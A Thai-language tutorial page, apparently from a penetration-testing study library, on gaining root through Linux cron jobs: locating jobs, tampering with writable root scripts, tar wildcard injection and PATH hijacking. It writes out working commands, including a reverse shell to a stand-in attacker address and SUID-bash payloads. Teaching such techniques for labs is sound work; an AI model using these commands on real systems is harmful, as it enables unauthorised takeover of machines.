คลัง
linux-privesc

Cron Jobs

Cron Jobs คืองานที่ระบบรันตามเวลาอัตโนมัติ มัก run โดย root ถ้า cron เรียก script/binary ที่เราเขียนได้ หรือใช้ wildcard ที่ inject ได้ หรือ PATH ที่ hijack ได้ ก็ยกระดับเป็น root ได้ บทนี้ลงลึกที่อยู่ของ cron, การหา job, เทคนิค abuse (writable script, wildcard injection, PATH), และ pspy (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#cron#linux#privesc#scheduled#wildcard#writable#ctf

1. หลักการ

cron รันคำสั่งตามตารางเวลา หลาย job รันโดย root ถ้าเราแทรกแซงสิ่งที่ cron รันได้ คำสั่งของเราจะรันเป็น root ช่องทางหลัก: (1) cron เรียก script ที่เราเขียนได้, (2) ใช้ wildcard ที่ inject argument ได้, (3) เรียก binary โดยไม่ใส่ full path (PATH hijack), (4) script อยู่ใน directory ที่เราเขียนได้

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หา cron jobs

ดู cron ทุกที่Linux
# system crontab + ใครรัน
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# user crontab
crontab -l                       # ของ user ปัจจุบัน
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# ดู process ที่รันเป็นระยะ (เห็น cron ที่ไม่ได้เขียนใน crontab)
# pspy = monitor process โดยไม่ต้อง root (ดู section 5)
ดู /etc/crontab (มี column user — มัก root) + cron.d + cron.*; job ที่รัน script ที่เราเขียนได้ = เป้า

3. Abuse: writable script

cron เรียก script ที่เราเขียนได้Linux
# สมมติ /etc/crontab มี:
#   * * * * * root /opt/backup.sh
# ตรวจว่าเราเขียน backup.sh ได้ไหม
ls -la /opt/backup.sh
# ถ้าเขียนได้ → ใส่ reverse shell / copy bash SUID
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# รอ cron รัน (เป็น root) แล้ว:
/tmp/rootbash -p                 # ได้ root shell

# หรือ reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
ถ้า script ที่ cron รัน (เป็น root) เราเขียนได้ → ใส่ payload (SUID bash/reverse shell) รอ cron รัน

4. Abuse: wildcard injection

ถ้า cron รันคำสั่งที่มี wildcard (*) ในdirectory ที่เราสร้างไฟล์ได้ เราสร้างไฟล์ที่ชื่อเป็น argument ของคำสั่งได้ — เช่น tar มี option ที่รัน command ได้ การตั้งชื่อไฟล์เป็น option จึง inject คำสั่ง

tar wildcard injection (คลาสสิก)Linux
# สมมติ cron (root): cd /data && tar czf /backup.tar.gz *
# * จะ expand เป็นชื่อไฟล์ทั้งหมดใน /data รวมไฟล์ที่เราสร้าง
# สร้างไฟล์ที่ชื่อเป็น tar option ที่รัน command:
cd /data
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# tar จะอ่าน --checkpoint-action เป็น option → รัน shell.sh เป็น root
# รอ cron → /tmp/rootbash -p

# เทคนิคเดียวกันใช้ได้กับ rsync, zip, 7z, chown -R * ฯลฯ
wildcard ใน tar/rsync/zip + directory ที่สร้างไฟล์ได้ → ตั้งชื่อไฟล์เป็น option เพื่อ inject; ดู GTFOBins

5. pspy + PATH hijack

บางครั้ง cron ไม่อยู่ใน crontab ที่เห็น (เช่น root crontab อ่านไม่ได้) — ใช้ pspy ดู process ที่รันเป็นระยะโดยไม่ต้อง root และถ้า cron เรียก binary โดยไม่ใส่ full path → PATH hijack (ดูหัวข้อ PATH Hijacking)

pspy + PATH hijackLinux
# pspy — monitor process/cron โดยไม่ต้อง root
./pspy64
# เห็น command ที่ cron รัน (รวม path/argument) → วางแผน abuse

# ถ้า cron script เรียก binary ไม่ใส่ path เช่น 'backup' แทน '/usr/bin/backup'
# และ PATH รวม dir ที่เราเขียนได้:
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /writable_path/backup
chmod +x /writable_path/backup
# cron รัน 'backup' → เจอของเราก่อน → รันเป็น root
pspy เห็น cron ที่ crontab ซ่อน; เรียก binary ไม่ใส่ path → วางไฟล์ชื่อนั้นใน writable PATH dir

6. Quick Reference

  • cron รันตามเวลา มัก root → แทรกแซงสิ่งที่มันรัน = root
  • หา: cat /etc/crontab, ls /etc/cron.*, crontab -l, pspy
  • writable script: เขียน payload ใส่ script ที่ cron รัน → SUID bash
  • wildcard injection: tar/rsync * + ตั้งชื่อไฟล์เป็น option (GTFOBins)
  • PATH hijack: cron เรียก binary ไม่ใส่ path → วางของในписable PATH
  • pspy = ดู cron/process โดยไม่ต้อง root

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอโจทย์นี้ มีแค่ Kali เปล่าๆ กับ shell ธรรมดาบนเป้าหมาย ไม่มี sudo ไม่มี SUID ที่ใช้ได้ตรงๆ — ลองไล่ cron ดูว่ามีงานอะไรที่ root รันเป็นระยะไหม ทำตามนี้ทีละขั้น

  1. 1พิมพ์ cat /etc/crontab ดูก่อนว่ามี job อะไรที่ column user เป็น root
  2. 2พิมพ์ ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ ดูเพิ่ม
  3. 3พิมพ์ crontab -l ดู cron ของ user ปัจจุบันด้วย
  4. 4ถ้า /etc/crontab อ่านไม่ครบหรือสงสัยว่ามี cron ที่ไม่โผล่ในไฟล์ ให้โหลด pspy64 มารันสัก 1-2 นาที ดู process ที่โผล่มาเป็นระยะ
  5. 5เจอ script ที่ root เรียก ให้เช็คด้วย ls -la ว่าเราเขียนได้ไหม
  6. 6ถ้าเขียนได้ ใส่คำสั่ง cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash ต่อท้ายไฟล์
  7. 7รอ cron รอบถัดไป (ดูเวลาจาก crontab) แล้วพิมพ์ /tmp/rootbash -p
  8. 8ถ้า script เขียนไม่ได้ แต่เห็นคำสั่งมี * (wildcard) กับ tar/rsync/zip ให้ลอง wildcard injection (touch ไฟล์ชื่อเป็น option)
  9. 9พิมพ์ id หลังได้ shell ใหม่ ต้องเห็น uid=0(root)
เจอ cron แล้วทำอะไรต่อ / ไม่เจอไปทางไหน
อ่าน crontab ได้ครบไหม?
✅ อ่านได้ เจอ job ของ root→ วิเคราะห์ว่า job เรียกอะไร
❌ อ่านไม่ได้/สงสัยว่ามี cron ซ่อน→ รัน pspy64 monitor เอา
job เรียก script ที่เราเขียนได้ไหม?
ls -la ที่ path ของ script
✅ เขียนได้→ ใส่ payload รอ cron รัน
❌ เขียนไม่ได้→ เช็คว่าใช้ wildcard (*) กับ tar/rsync/zip ไหม
คำสั่งใน job ใช้ wildcard (*) กับ tar/rsync/zip/chown ไหม?
✅ ใช่ และเราสร้างไฟล์ใน dir นั้นได้→ wildcard injection (touch ชื่อไฟล์เป็น option)
❌ ไม่ใช่→ เช็คว่า job เรียก binary แบบไม่ใส่ full path ไหม
ใส่ payload / wildcard injection / PATH hijack แล้วรอ cron รัน (1 นาที)
/tmp/rootbash -p → id เป็น root?
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา cron job ทั้งระบบcat, ls, crontab -l--
monitor process/cron แบบ real-time-pspy (wget pspy64)-
ทดสอบ wildcard injectiontar, rsync, touch-gtfobins.github.io
enumeration อัตโนมัติ-linpeas-
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server, wget/curl--
เปิด reverse shell listenernc -lvnp-revshells.com
ยืนยัน SUID bash ที่สร้างไว้ls -la, chmod +s--
🚑 ถ้าตันสนิท ลองท่าถัดไป: Writable Scripts (ไฟล์ระบบอื่นที่เขียนได้นอกเหนือ cron) · PATH Hijacking (ถ้า cron/service เรียก command แบบ relative) · SUID/Capabilities (permission bit อีกแบบที่ยังไม่เช็ค) · LinPEAS (สแกนซ้ำให้ครบทุกด้าน) · กลับไป Linux Enumeration เพื่อไล่ checklist ใหม่ทั้งหมด

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้